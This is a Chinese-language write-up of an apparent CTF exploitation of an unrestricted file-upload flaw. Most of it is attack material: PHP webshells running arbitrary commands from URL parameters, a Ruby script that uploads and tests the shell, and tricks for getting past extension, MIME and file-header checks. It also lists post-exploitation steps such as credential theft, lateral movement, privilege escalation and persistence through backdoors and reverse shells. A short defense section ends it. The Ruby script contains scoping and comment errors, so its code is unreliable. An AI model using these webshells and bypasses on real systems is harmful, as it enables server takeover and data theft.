一、文件上传漏洞的真实案例:一次渗透中的意外收获
有一次在参与一个CTF比赛时,我的目标是一个看似普通的企业官网型站点,网站功能简单,包括新闻发布、留言板、用户上传头像等模块。初期信息收集时并没有发现特别明显的漏洞,直到我在文件上传处做了一些尝试,才意识到这个地方潜藏着巨大的攻击面。
整个文件上传模块没有限制文件类型,同时也没有对上传后的文件路径进行严格控制,这意味着上传的文件可以被直接访问。不仅如此,服务器也未对用户上传的内容进行严格的内容检测,比如文件类型、文件扩展名等。于是,我决定尝试利用这个漏洞,在服务器上执行恶意代码。最终,经过一系列操作,我成功拿到了目标服务器的权限。
接下来,我将以实战为例,详细讲解如何从文件上传漏洞入手,完成一次完整的攻击链。
---
二、发现漏洞的细节:从普通上传到权限获取
在渗透的初期阶段,我对目标站点的上传功能进行了测试,发现它的文件上传接口在前端并没有明确限制上传的文件类型。通常,这种情况意味着服务器端可能只做了简单的检查。这给了我一个尝试的方向:上传一个恶意的文件,看服务器是否会接收。
初步测试
我首先尝试上传一个普通的 .jpg 文件,观察是否可以成功上传。果然,用户上传头像功能对 .jpg 文件是完全允许的,并且上传后文件可以通过一个公开 URL 直接访问。
接着,我尝试上传一个包含 PHP 代码的文件,并将文件后缀伪装为 .jpg,例如 shell.jpg。文件内容如下:
<pre><code class="language-php"><?php echo system($_GET['cmd']); ?></code></pre>
上传后,我发现服务器并没有针对文件内容进行检查,只是简单地检测后缀是否符合图片类型。更令人震惊的是,上传后的文件路径依然可以直接访问。当我通过访问路径时,发现 PHP 代码被成功执行。
深入挖掘漏洞的攻击面

进一步测试发现,上传的文件路径是固定的,例如:
<pre><code>http://target.com/uploads/shell.jpg</code></pre>
这意味着只要我知道上传后的路径,就可以通过浏览器直接访问,并在 URL 参数中执行命令。这种情况通常是由于开发者对文件上传功能的处理过于简单,认为只要限制扩展名或者在前端设置类型验证就足够了,而忽略了实际的内容验证。
---
三、Payload构造的艺术:从普通代码到武器化利用
为了更灵活地控制目标服务器,我需要构造一个更强大的 Webshell,而不仅仅是简单的 system 命令执行代码。我在这里使用了一个改进版的 PHP Webshell,并结合 Ruby 写了一个自动化上传脚本,方便在实际攻击中使用。
Webshell代码示例
以下是一个简单的 Webshell,支持基本文件操作和命令执行:
<pre><code class="language-php"><?php if(isset($_GET['cmd'])){ echo "<pre>"; system($_GET['cmd']); echo "</pre>"; } elseif(isset($_GET['upload'])){ $file = $_FILES['file']; move_uploaded_file($file['tmp_name'], $file['name']); echo "File uploaded!"; } ?></code></pre>
这个 Webshell 包含两个功能:
- 命令执行:通过
cmd参数执行任意命令。 - 文件上传:攻击者可以通过发送文件来进一步扩展攻击能力。
Ruby实现自动化上传脚本

为了提高效率,我写了一个 Ruby 脚本,自动上传恶意文件并测试可执行性:
<pre><code class="language-ruby">require 'net/http' require 'mime/types'
设置目标URL
url = URI("http://target.com/uploads") target_file = "shell.php"
构造上传请求
def upload_file(url, file_path) req = Net::HTTP::Post::Multipart.new(url.path, "file" => UploadIO.new(file_path, "image/jpeg", target_file)) response = Net::HTTP.start(url.hostname, url.port) do |http| http.request(req) end puts "[+] File uploaded: #{response.code}" end
测试上传后的路径
def test_webshell(url) shell_url = url.to_s + "/#{target_file}?cmd=id" response = Net::HTTP.get_response(URI(shell_url)) puts "[+] Webshell response: #{response.body}" end
主逻辑
file_path = "./shell.php" upload_file(url, file_path) test_webshell(url)</code></pre>
运行这个脚本后,我能够自动上传恶意文件并测试文件是否成功执行,大大提升了攻击效率。

---
四、绕过限制的技巧:突破文件类型检查
在一些情况下,服务器可能会增加文件类型验证,但这些验证通常基于文件后缀或者 MIME 类型。在这种情况下,可以尝试绕过验证:
方法一:双重扩展名
上传文件时,可以使用双重扩展名,例如:

<pre><code>shell.php.jpg</code></pre>
许多服务器会误认为这是一个图片文件,但实际上它可以被解析为 PHP 代码。
方法二:改写 MIME 类型
通过工具(例如 Burp Suite),可以在上传时修改文件的 MIME 类型,伪装成合法类型。例如,将文件类型设置为 image/jpeg。
方法三:伪造文件内容
针对一些简单的内容检查,可以在文件开头加入图片文件头,例如:
<pre><code>\xFF\xD8\xFF\xE0 # JPEG文件头 <?php echo system($_GET['cmd']); ?></code></pre>
这种方式能够绕过许多基于内容的验证。
---
五、不只是拿权限:如何利用进一步扩展攻击
拿到服务器权限后,不要急于清空环境或结束操作,真正的攻击者会尝试扩大控制权限。我通常会做以下几件事:
- 信息收集:获取服务器中的敏感文件,例如配置文件(
config.php),以寻找数据库的账号密码。 - 横向移动:通过获得的账号密码,尝试登录其他服务(例如 SSH、数据库)。
- 权限提升:通过提权漏洞或者弱配置,获取更高权限,例如 root 权限。
- 持久化控制:上传后门文件,设置定时任务或者隐藏的反向 shell。
---
六、检测与防御:从攻击者视角看漏洞防御
在我的经验里,文件上传漏洞几乎总能找到防御的薄弱点。为了有效地防御,应该从以下几个方面着手:
服务端严格验证
- 文件类型应该通过服务器端检测,而不仅仅是依赖前端验证。
- 使用白名单策略,仅允许明确的文件类型(例如图片、PDF)。
内容安全检查
- 使用工具检测文件内容,例如检查文件头是否与扩展名一致。
- 禁止上传文件包含可执行代码,例如 PHP、JS。
上传路径隔离
- 将上传的文件存储到不可执行的独立路径,防止直接通过 URL 访问。
- 文件名应该随机化,避免被猜测。
日志与监控
- 对用户上传行为进行日志记录,检测异常操作,例如频繁上传文件。
- 使用 WAF(Web应用防火墙)拦截恶意上传操作。
---
七、实战总结:从漏洞利用到心得体会
通过这个案例,我从文件上传漏洞入手,完成了完整的攻击链。从发现漏洞到上传 Webshell,再到权限扩大,每一步都是对目标站点的精细研究和操作。以下是我的几点心得:
- 细节决定成败:漏洞通常隐藏在不起眼的地方,比如文件上传模块。
- 工具是加分项:Ruby、Python等语言能快速实现自动化攻击脚本。
- 攻击思维很重要:从攻击者视角出发,寻找漏洞的利用方式和扩展可能。
希望这篇文章能帮助你理解文件上传漏洞的攻击原理和实战流程。当然,记住所有技术仅限合法授权环境下使用。